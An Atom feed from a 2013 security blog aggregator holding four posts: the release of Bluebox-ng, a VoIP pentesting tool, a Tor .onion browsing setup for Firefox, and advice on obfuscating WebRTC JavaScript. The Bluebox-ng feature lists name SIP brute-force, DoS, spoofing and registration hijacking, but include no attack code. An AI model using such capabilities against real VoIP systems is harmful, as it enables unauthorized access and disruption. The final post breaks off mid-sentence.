<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<feed xmlns="http://www.w3.org/2005/Atom">

	<title>Planet Security</title>
	<link rel="self" href="http://planetsecurity.org/atom.xml"/>
	<link href="http://planetsecurity.org/"/>
	<id>http://planetsecurity.org/atom.xml</id>
	<updated>2013-06-18T06:17:05+00:00</updated>
	<generator uri="http://www.planetplanet.org/">Planet/2.0 +http://www.planetplanet.org</generator>

	<entry>
		<title type="html">Bluebox-ng Alpha release</title>
		<link href="http://nicerosniunos.blogspot.com/2013/06/finally-ive-pushed-first-alpha-version.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-1811491155334420616</id>
		<updated>2013-06-10T16:17:04+00:00</updated>
		<content type="html">Finally I've pushed the first Alpha version of Bluebox-ng to my GitHub repo:&amp;nbsp;&lt;a href=&quot;https://github.com/jesusprubio/bluebox-ng&quot;&gt;https://github.com/jesusprubio/bluebox-ng&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Features&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;RFC compliant&lt;/li&gt;&lt;li&gt;TLS and IPv6 support&lt;/li&gt;&lt;li&gt;SIP over websockets (and WSS) support (draft-ietf-sipcore-sip-websocket-08)&lt;/li&gt;&lt;li&gt;SHODAN and Google Dorks&lt;/li&gt;&lt;li&gt;SIP common security tools (scan, extension/password bruteforce, etc.)&lt;/li&gt;&lt;li&gt;REGISTER, OPTIONS, INVITE, MESSAGE, SUBSCRIBE, PUBLISH, OK, ACK, CANCEL, BYE and Ringing requests support&lt;/li&gt;&lt;li&gt;Authentication through different types of requests.&lt;/li&gt;&lt;li&gt;SIP denial of service (DoS) testing&lt;/li&gt;&lt;li&gt;SRV and NAPTR discovery&lt;/li&gt;&lt;li&gt;Dumb fuzzing&lt;/li&gt;&lt;li&gt;Common VoIP servers web management panels discovery&lt;/li&gt;&lt;li&gt;Automatic exploit searching (Exploit DB, PacketStorm, Metasploit)&lt;/li&gt;&lt;li&gt;Automatic vulnerability searching (CVE, OSVDB)&lt;/li&gt;&lt;li&gt;Geolocation&lt;/li&gt;&lt;li&gt;Colored output&lt;/li&gt;&lt;li&gt;Command completion&lt;/li&gt;&lt;li&gt;GNU/Linux, Mac OS X and Windows&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;I'm sorry but we still do not have documentation about the tool. For now, we have the README file included in the source code (which shows the steps to start the tool) and &lt;a href=&quot;http://www.securitybydefault.com/2013/06/bluebox-ng-alpha-release.html&quot; target=&quot;_blank&quot;&gt;this another post in Security by Default blog&lt;/a&gt; which includes some more shoots of this first version.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-HPDEq-1jClo/UbR6EoZ6b7I/AAAAAAAADZ0/JsY4j2D4568/s1600/Captura+de+pantalla+de+2013-06-09+14%253A45%253A28.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;192&quot; src=&quot;http://4.bp.blogspot.com/-HPDEq-1jClo/UbR6EoZ6b7I/AAAAAAAADZ0/JsY4j2D4568/s400/Captura+de+pantalla+de+2013-06-09+14%253A45%253A28.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-t21xt5A8wIQ/UbR8R0mCcjI/AAAAAAAADbI/04kDTipWVHc/s1600/Captura+de+pantalla+de+2013-06-09+14%253A59%253A40.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;216&quot; src=&quot;http://2.bp.blogspot.com/-t21xt5A8wIQ/UbR8R0mCcjI/AAAAAAAADbI/04kDTipWVHc/s400/Captura+de+pantalla+de+2013-06-09+14%253A59%253A40.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">How to connect to .onion Tor domains with Firefox on Linux</title>
		<link href="http://blog.neutrino.es/2013/how-to-connect-to-onion-tor-domains-with-standard-firefox-on-linux/"/>
		<id>http://blog.neutrino.es/?p=513</id>
		<updated>2013-04-08T21:52:20+00:00</updated>
		<content type="html">&lt;p&gt;So you are looking for an easy way of surfing the &lt;a href=&quot;https://ahmia.fi&quot; target=&quot;_blank&quot;&gt;hidden network of .onion domains?&lt;/a&gt;. Many people probably will use some of the proxies available to reach the .onion domains. Unfortunately this is not a good idea for your privacy since the proxy owner can spy all your communications.&lt;/p&gt;
&lt;p&gt;So, I&amp;#8217;m going to explain in 3 easy steps how to configure Firefox to access .onion domains directly through your local Tor daemon. This way, we ensure all traffic goes directly to the tor network.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt; Install Tor daemon.&lt;/li&gt;
&lt;p&gt;On Debian/Ubuntu Linux distributions this is as easy as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;code class=&quot;syntax bash&quot;&gt;&lt;br /&gt;
sudo apt-get install tor&lt;br /&gt;
&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt; Configure Firefox to tunnel requests to .onion domains via the Tor network &lt;/li&gt;
&lt;p&gt;This is the tricky part, because we only want Firefox to tunnel requests to .onion domains via the Tor network, but we don&amp;#8217;t want Firefox tu tunnel all the other requests via the Tor network. To achieve this we are going to use a proxy configuration file.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; Save the following content in a file (for example as &lt;em&gt;~/.proxy_pac&lt;/em&gt;)
&lt;pre class=&quot;syntax bash&quot;&gt;
function FindProxyForURL(url, host) {
    isp = &amp;quot;PROXY ip_address:port; DIRECT&amp;quot;;
    tor = &amp;quot;SOCKS 127.0.0.1:9050&amp;quot;;
    if (shExpMatch(host,&amp;quot;*.onion&amp;quot;)) {
        return tor;
    }
    return &amp;quot;DIRECT&amp;quot;;
}
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;And configure Firefox to use that file as a proxy configuration file &lt;em&gt;(&lt;em&gt;Edit&lt;/em&gt;-&gt;Preferences&lt;/em&gt;-&gt;&lt;em&gt;Advanced&lt;/em&gt;-&gt;&lt;em&gt;Network&lt;/em&gt;-&gt;&lt;em&gt;Settings&lt;/em&gt;-&gt;&lt;em&gt;Automatic proxy configuration URL&lt;/em&gt;).
&lt;ul&gt;
&lt;li&gt;
You have to use the following syntax: &lt;code&gt;file://absolute-path-to-the-file&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;If you are not sure, just open a new firefox window, and type on the browser location bar (the place where you type web addresses) the following URL &lt;code&gt;file://&lt;/code&gt;. Now just browse your HDD to where you saved that file, right click on it and select &lt;em&gt;Copy Link Location&lt;/em&gt;. Now paste such link location on the &lt;em&gt;Automatic proxy configuration URL&lt;/em&gt; settings.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;li&gt; Configure Firefox to tunnel DNS queries via a SOCKS5 proxy&lt;/li&gt;
&lt;p&gt;The last step is to tell Firefox that it should tunnel the DNS lookups via the Tor SOCKS5 proxy when we want to access a .onion domain. By default firefox will try to resolve .onion domains using our local DNS resolver, therefore it will fail to do that.&lt;br /&gt;
To fix this, we should enable &lt;code&gt;network.proxy.socks_remote_dns&lt;/code&gt; on the advanced configuration page:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
In the browser location bar (the place where you type web addresses), type &lt;code&gt;about:config&lt;/code&gt; and press Enter. This opens a different set of Firefox preferences. Where it says &lt;strong&gt;Search:&lt;/strong&gt; at the top, type &lt;b&gt;network.proxy.socks&lt;/b&gt;. The list of preferences will automatically change to show your proxy preferences.&lt;br /&gt;
Highlight &lt;code&gt;network.proxy.socks_remote_dns&lt;/code&gt; by clicking it only once. Then, right-click it. This opens a small pull-down menu. Select &lt;strong&gt;Toggle&lt;/strong&gt; from the menu to change its value to &lt;strong&gt;true&lt;/strong&gt;.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This will make Firefox to tunnel all the queries to .onion domains via our local Tor daemon. This also adds privacy by preventing DNS queries to .onion domains from leaking.
&lt;/p&gt;&lt;/ol&gt;
&lt;p&gt;Now restart Firefox and you should be able to surf .onion domains directly.&lt;/p&gt;</content>
		<author>
			<name>Carlos López</name>
			<uri>http://blog.neutrino.es</uri>
		</author>
		<source>
			<title type="html">synaptic fault » http://planetsecurity.org</title>
			<subtitle type="html">mind dumped</subtitle>
			<link rel="self" href="http://blog.neutrino.es/category/planet/security/feed/"/>
			<id>http://blog.neutrino.es/category/planet/security/feed/</id>
			<updated>2013-04-27T06:17:03+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">My new toy: Bluebox-ng</title>
		<link href="http://nicerosniunos.blogspot.com/2013/03/my-new-toy-bluebox-ng.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-3860301435760283241</id>
		<updated>2013-03-27T00:52:00+00:00</updated>
		<content type="html">&lt;div class=&quot;separator&quot;&gt;Hi again guys, here there is my new personal project. I think that README file is complete enough so I paste it on this post.&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;Next month I'll be with my colleague &lt;a href=&quot;https://twitter.com/AntonRoman&quot; target=&quot;_blank&quot;&gt;Antón&lt;/a&gt;&amp;nbsp;at &lt;a href=&quot;http://conference.kamailio.com/k01/&quot; target=&quot;_blank&quot;&gt;Kamalio World Conference&lt;/a&gt; showing a bit more about it. If you are there and want to talk a bit about VoIP security (or WebRTC) get in contact with us please. :)&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;Finally, we would like to publish the first version in one ore two months, sorry but we're developing it mostly in our free time :(. I've promised &lt;a href=&quot;https://twitter.com/YJesus&quot; target=&quot;_blank&quot;&gt;Yago&lt;/a&gt; to do it on &lt;a href=&quot;http://www.securitybydefault.com/&quot; target=&quot;_blank&quot;&gt;Security by Default&lt;/a&gt; blog so stay tuned.&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;Moreover this tool was included in Quobis personal project plan so you can always follow &lt;a href=&quot;http://planet.quobis.com/&quot; target=&quot;_blank&quot;&gt;Quobis planet&lt;/a&gt; in which we publish all our experiments.&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;Nothing else, I hope you like it and all kind of suggestions (and coders) are welcomed :).&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3&gt;&lt;span&gt;Bluebox-ng&lt;/span&gt;&lt;/h3&gt;Bluebox-ng is a next generation UC/VoIP security tool. It has been written in CoffeeScript using Node.js powers. This project is &quot;our 2 cents&quot; to help to improve information security practices in VoIP/UC environments.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp;GitHub repo: &lt;a href=&quot;https://github.com/jesusprubio/bluebox-ng&quot;&gt;https://github.com/jesusprubio/bluebox-ng&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Demo: &lt;a href=&quot;http://www.youtube.com/watch?v=02AuYf66sx0&quot;&gt;http://www.youtube.com/watch?v=02AuYf66sx0&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3&gt;Install deps&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp;cd bluebox-ng&lt;/li&gt;&lt;li&gt;npm install&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Run&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;npm start&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3&gt;Features&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Automatic pentesting process (VoIP, web and service vulns)&lt;/li&gt;&lt;li&gt;SIP (RFC 3261) and extensions compliant&lt;/li&gt;&lt;li&gt;TLS and IPv6 support&lt;/li&gt;&lt;li&gt;VoIP DNS SRV register support&lt;/li&gt;&lt;li&gt;SIP over websockets (and WSS) support (draft-ietf-sipcore-sip-websocket-08)&lt;/li&gt;&lt;li&gt;REGISTER, OPTIONS, INVITE, MESSAGE, SUBSCRIBE, PUBLISH, OK, ACK, CANCEL, BYE, Ringing and Busy Here requests support&lt;/li&gt;&lt;li&gt;Extension and password brute-force through different methods (REGISTER, INVITE, SUBSCRIBE, PUBLISH, etc.)&lt;/li&gt;&lt;li&gt;DNS SRV registers discovery&lt;/li&gt;&lt;li&gt;SHODAN and Google Dorks&lt;/li&gt;&lt;li&gt;SIP common vulns modules: scan, extension brute-force, Asterisk extension brute-force (CVE-2011-4597), invite attack, call all LAN endpoints, invite spoofing, registering hijacking, unregistering, bye teardown&lt;/li&gt;&lt;li&gt;SIP DoS/DDoS audit&lt;/li&gt;&lt;li&gt;SIP dumb fuzzer&lt;/li&gt;&lt;li&gt;Common VoIP servers web management panels discovery and brute-force&lt;/li&gt;&lt;li&gt;Automatic exploit searching (Exploit DB, PacketStorm, Metasploit)&lt;/li&gt;&lt;li&gt;Automatic vulnerability searching (CVE, OSVDB)&lt;/li&gt;&lt;li&gt;Geolocalization using WPS (Wifi Positioning System) or IP address (Maxmind database)&lt;/li&gt;&lt;li&gt;Colored output&lt;/li&gt;&lt;li&gt;Command completion&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3&gt;Roadmap&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp;Tor support&lt;/li&gt;&lt;li&gt;More SIP modules&amp;nbsp;&lt;/li&gt;&lt;li&gt;SIP Smart fuzzing (SIP Torture RFC)&lt;/li&gt;&lt;li&gt;Eavesdropping&lt;/li&gt;&lt;li&gt;CouchDB support (sessions)&lt;/li&gt;&lt;li&gt;H.323 support&lt;/li&gt;&lt;li&gt;IAX support&lt;/li&gt;&lt;li&gt;Web common panels post-explotation (Pepelux research)&lt;/li&gt;&lt;li&gt;A bit of command Kung Fu post-explotation&lt;/li&gt;&lt;li&gt;RTP fuzzing&lt;/li&gt;&lt;li&gt;Advanced SIP fuzzing with Peach&lt;/li&gt;&lt;li&gt;Reports generation&lt;/li&gt;&lt;li&gt;Graphical user interface&lt;/li&gt;&lt;li&gt;Windows support&lt;/li&gt;&lt;li&gt;Include in Debian GNU/Linux&lt;/li&gt;&lt;li&gt;Include in Kali GNU/Linux&lt;/li&gt;&lt;li&gt;Team/multi-user support&lt;/li&gt;&lt;li&gt;Documentation&lt;/li&gt;&lt;li&gt;...&lt;/li&gt;&lt;li&gt;Any suggestion/piece of code ;) is appreciated.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3&gt;Author&lt;/h3&gt;Jesús Pérez&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/jesusprubio&quot; target=&quot;_blank&quot;&gt;@jesusprubio&lt;/a&gt;&lt;/li&gt;&lt;li&gt;jesusprubio gmail com&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://nicerosniunos.blogspot.com/&quot;&gt;http://nicerosniunos.blogspot.com/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3&gt;Contributors&lt;/h3&gt;Damián Franco&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/pamojarpan&quot; target=&quot;_blank&quot;&gt;@pamojarpan&lt;/a&gt;&lt;/li&gt;&lt;li&gt;pamojarpan google com&lt;/li&gt;&lt;/ul&gt;Jose Luis Verdeguer&lt;br /&gt;&lt;ul&gt;&lt;li&gt;@pepeluxx](https://twitter.com/pepeluxx)&lt;/li&gt;&lt;li&gt;pepelux enye-sec org&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.pepelux.org/&quot;&gt;http://www.pepelux.org/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3&gt;Thanks to ...&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.quobis.com/&quot; target=&quot;_blank&quot;&gt;Quobis&lt;/a&gt;, some hours of work through personal projects program&lt;/li&gt;&lt;li&gt;Antón Román (&lt;a href=&quot;https://twitter.com/antonroman&quot; target=&quot;_blank&quot;&gt;@AntonRoman&lt;/a&gt;), he speaks SIP and I'm starting to speak it thanks to him&lt;/li&gt;&lt;li&gt;Sandro Gauci (&lt;a href=&quot;https://twitter.com/sandrogauci&quot; target=&quot;_blank&quot;&gt;@sandrogauci&lt;/a&gt;), SIPVicious was our inspiration&lt;/li&gt;&lt;li&gt;Kamailio community (&lt;a href=&quot;https://twitter.com/kamailioproject&quot; target=&quot;_blank&quot;&gt;@kamailioproject]&lt;/a&gt;), my favourite SIP Server&lt;/li&gt;&lt;li&gt;David Endler and Mark Collier (&lt;a href=&quot;https://twitter.com/markcollier46&quot; target=&quot;_blank&quot;&gt;@markcollier46&lt;/a&gt;), authors of &lt;a href=&quot;http://www.hackingvoip.com/&quot; target=&quot;_blank&quot;&gt;&quot;Hacking VoIP Exposed&quot; book&lt;/a&gt;&lt;/li&gt;&lt;li&gt;John Matherly (&lt;a href=&quot;https://twitter.com/achillean&quot; target=&quot;_blank&quot;&gt;@achillean&lt;/a&gt;) for SHODAN API and GHDB&lt;/li&gt;&lt;li&gt;All VoIP, free software and security hackers that we read everyday&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://soundcloud.com/loopsize&quot; target=&quot;_blank&quot;&gt;Loopsize&lt;/a&gt;, a music hacker (and a friend) creator of the themes included in demos&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3&gt;License&lt;/h3&gt;This program is free software: you can redistribute it and/or modify&lt;br /&gt;it under the terms of the GNU General Public License as published by&lt;br /&gt;the Free Software Foundation, either version 3 of the License, or&lt;br /&gt;(at your option) any later version.&lt;br /&gt;&lt;br /&gt;This program is distributed in the hope that it will be useful,&lt;br /&gt;but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. &amp;nbsp;See the&lt;br /&gt;GNU General Public License for more details.&lt;br /&gt;&lt;br /&gt;You should have received a copy of the GNU General Public License&lt;br /&gt;along with this program. &amp;nbsp;If not, see .</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">How to protect your WebRTC app code?</title>
		<link href="http://nicerosniunos.blogspot.com/2013/02/how-to-protect-your-webrtc-app-code.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-3935440083052057534</id>
		<updated>2013-02-26T12:06:00+00:00</updated>
		<content type="html">I have spent some time analyzing which could be the best way to protect a privative version of a webphone based on &lt;a href=&quot;http://qoffeesip.quobis.com/&quot; target=&quot;_blank&quot;&gt;QoffeeSIP&lt;/a&gt; that we are developing now at &lt;a href=&quot;http://quobis.com/&quot; target=&quot;_blank&quot;&gt;Quobis&lt;/a&gt;. I have seen this same question on different sites with quite confusing responses. So I'm going to share what I learned just in case it could help to anybody.&lt;br /&gt;&lt;br /&gt;Well, I'm not going to define what is WebRTC because Internet is full of it this year (&lt;a href=&quot;http://www.youtube.com/watch?v=zi8VTeDHjcM&quot; target=&quot;_blank&quot;&gt;only overtaken by cats&lt;/a&gt; ;). For our purposes we have to consider that our app is a Javascript library. Really there is also HTML/CSS code but what I think that is important is Javascript, but HTML/CSS can also be protected in the same way but with other tools.&lt;br /&gt;&lt;br /&gt;First of all I want to remark that protect your code in the sense of anybody could copy/modify and redistribute it &lt;b&gt;is impossible&lt;/b&gt; since Javascript is only text. If anybody had enough time (or money) this code could be reversed. But, as always, we can do things trying to avoid it as far as possible.&lt;br /&gt;&lt;br /&gt;In general, I found that there is a bit confusion between minimize and obfuscate terms so we're going to speak a bit about these techniques.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span&gt;Minimization&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The target is to get the code as small as possible. Obviously generated code is more difficult to understand, but it could be easily reversed with tools like &lt;a href=&quot;http://jsbeautifier.org/&quot; target=&quot;_blank&quot;&gt;JSbeautifier&lt;/a&gt;. (really not as easy depending of the minimizing tool)&lt;br /&gt;&lt;br /&gt;Some common possible options at this point are:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/mishoo/UglifyJS&quot; target=&quot;_blank&quot;&gt;UglifyJS&lt;/a&gt;: The coolest thing right now xD. It is a Node.js package so it's easy to include. Some days ago version 2 was published. We will see that it's fast, really fast.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developers.google.com/closure/compiler/&quot; target=&quot;_blank&quot;&gt;Google Closure Compiler&lt;/a&gt; which uses Google to its apps. It is availiable a Java command line tool but there are&amp;nbsp;&lt;a href=&quot;https://github.com/weaver/scribbles/tree/master/node/google-closure/&quot; target=&quot;_blank&quot;&gt;node modules&lt;/a&gt; which use the online API.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://yui.github.com/yuicompressor/&quot; target=&quot;_blank&quot;&gt;YUI Compressor&lt;/a&gt; from Yahoo, it was the facto standard but now last alternatives are beating it.&lt;/li&gt;&lt;/ul&gt;A little comparison: I can't find original link, sorry :(&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Average time: (lower is better)&lt;/li&gt;&lt;ul&gt;&lt;li&gt;UglifyJS: 0.11554 seconds&lt;/li&gt;&lt;li&gt;Closure: 1.41037 seconds&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Average reducction: (higher is better)&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp;UglifyJS: 45.6%&lt;/li&gt;&lt;li&gt;Closure: 51.5%&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;NOTE: &lt;a href=&quot;http://blog.foxxtrot.net/2010/12/a-comparison-of-javascript-compressors.html&quot; target=&quot;_blank&quot;&gt;Another one&lt;/a&gt; (more complete) with YUI included too.&lt;br /&gt;&lt;br /&gt;In my experience Google Closure generated code is better because besides minimization tasks it includes code checking too.&amp;nbsp;It provides warnings for dangerous or illegal Javascript. Moreover I like that you can use&amp;nbsp;&lt;a href=&quot;http://closure-compiler.appspot.com/home&quot; target=&quot;_blank&quot;&gt;this online service&lt;/a&gt; to check your code while developing.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-Q7XwYbcZRcQ/USyM5hwrm6I/AAAAAAAAApk/ZB_HR-QB4A4/s1600/Captura+de+pantalla+de+2013-02-26+11:20:15.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;215&quot; src=&quot;http://1.bp.blogspot.com/-Q7XwYbcZRcQ/USyM5hwrm6I/AAAAAAAAApk/ZB_HR-QB4A4/s400/Captura+de+pantalla+de+2013-02-26+11:20:15.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span&gt;Obfuscation&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;It is defined as &lt;i&gt;&quot;the hiding of intended meaning in communication, making communication confusing, wilfully ambiguous, and harder to interpret.&quot;&lt;/i&gt; (Wikipedia).&lt;br /&gt;&lt;br /&gt;We have some options here when we are working with a web app:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Encrypt the transport layer&lt;/b&gt;: needed to avoid sniffing to another users of the same LAN. So using HTTPS to serving the application is a must.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Encryption&lt;/b&gt;: Encrypt application data and decrypt it on the fly via your own javascript enccryption library.&lt;/li&gt;&lt;li&gt;Move functions to the server side, which it's not possible in the case of WebRTC because we want end to end media.&lt;/li&gt;&lt;li&gt;Use a browser plugin, it has no sense since one of the advantages of WebRTC is that the user doesn't have to install anything.&lt;/li&gt;&lt;li&gt;Implement the code in native client for Chrome browser. The advantaje is that common C code protections can be used and the app runs sandboxed. But it is not our case because we need multi-platform support.&lt;/li&gt;&lt;li&gt;To avoid legal issues you should &lt;b&gt;incude a note (a Javascript comment)&lt;/b&gt; referencing the copyright in each copy of the .js library. Something similar to &lt;a href=&quot;http://www.gnu.org/philosophy/javascript-trap.html&quot; target=&quot;_blank&quot;&gt;Free Software Foundation recommendations&lt;/a&gt; for free Javascript code. An example could be:&lt;/li&gt;&lt;/ul&gt;NOTE: Really&amp;nbsp;@source tag is proposed by FSF to include a link to source code of the app. But I think that it could be a good idea to use it because browser plugins &lt;a href=&quot;http://www.gnu.org/software/librejs/&quot; target=&quot;_blank&quot;&gt;that follow the recommendations&lt;/a&gt; should &quot;understand&quot; it.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;// @source: https://qoffeesip.quobis.com&lt;br /&gt;// Copyright (C) Quobis&lt;br /&gt;// Licensed under Quobis Commercial license&lt;br /&gt;//&amp;nbsp;(http://www.quobis.com/licenses/commercial-1.0.html)&lt;br /&gt;&lt;br /&gt;I also want to point out some common obfuscation/encryption problems:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Performance decrement, specially speed.&lt;/li&gt;&lt;li&gt;Increase troubleshooting difficult.&lt;/li&gt;&lt;li&gt;Compatibility problems (IE!!).&lt;/li&gt;&lt;li&gt;Size increase.&lt;/li&gt;&lt;li&gt;As it was said, a skilled expert could always reverse it and get a code equivalent to ours.&lt;/li&gt;&lt;/ul&gt;All these problems are more important on the case of encryption, except the last one logically. So at this point we have some options, but I've reduced them to these ones:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A paid option like&amp;nbsp;&lt;a href=&quot;https://jscrambler.com/&quot; target=&quot;_blank&quot;&gt;JsCrambler&lt;/a&gt;: This is the reference tool, generated code seems to be really dificult to recover and it supports an important number of encryption algorithms.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;A free solution provided by my colleague&amp;nbsp;&lt;a href=&quot;https://twitter.com/pamojarpan&quot;&gt;Damián&lt;/a&gt;:&amp;nbsp;&lt;a href=&quot;https://github.com/TShadwell/Horrible.js&quot;&gt;Horrible.js&lt;/a&gt;. It implements obfuscation and a kind of simple (so light) optional (through &quot;factor&quot; parameter) encryption. Next picture shows an example using it with the three different factors.&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-eOCmkqyrVh8/USySLyDoQGI/AAAAAAAAAqA/oO_SAEft2VA/s1600/Captura+de+pantalla+de+2013-02-26+11%253A44%253A07.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;267&quot; src=&quot;http://3.bp.blogspot.com/-eOCmkqyrVh8/USySLyDoQGI/AAAAAAAAAqA/oO_SAEft2VA/s400/Captura+de+pantalla+de+2013-02-26+11%253A44%253A07.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Finally, if you don't like the ugly generated code you can always use &lt;a href=&quot;https://github.com/TShadwell/Nice.js&quot; target=&quot;_blank&quot;&gt;Nice.js&lt;/a&gt;&amp;nbsp;to get something like this example: xD&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-s9stv2m5w-U/USyTWOmX1bI/AAAAAAAAAqM/BX0P-Ci7iro/s1600/Captura+de+pantalla+de+2013-02-26+11:49:40.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;216&quot; src=&quot;http://4.bp.blogspot.com/-s9stv2m5w-U/USyTWOmX1bI/AAAAAAAAAqM/BX0P-Ci7iro/s400/Captura+de+pantalla+de+2013-02-26+11:49:40.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;In conclusion, I like Horrible.js with factor 3. In my opinion, it has no sense to paid for mitigating a risk 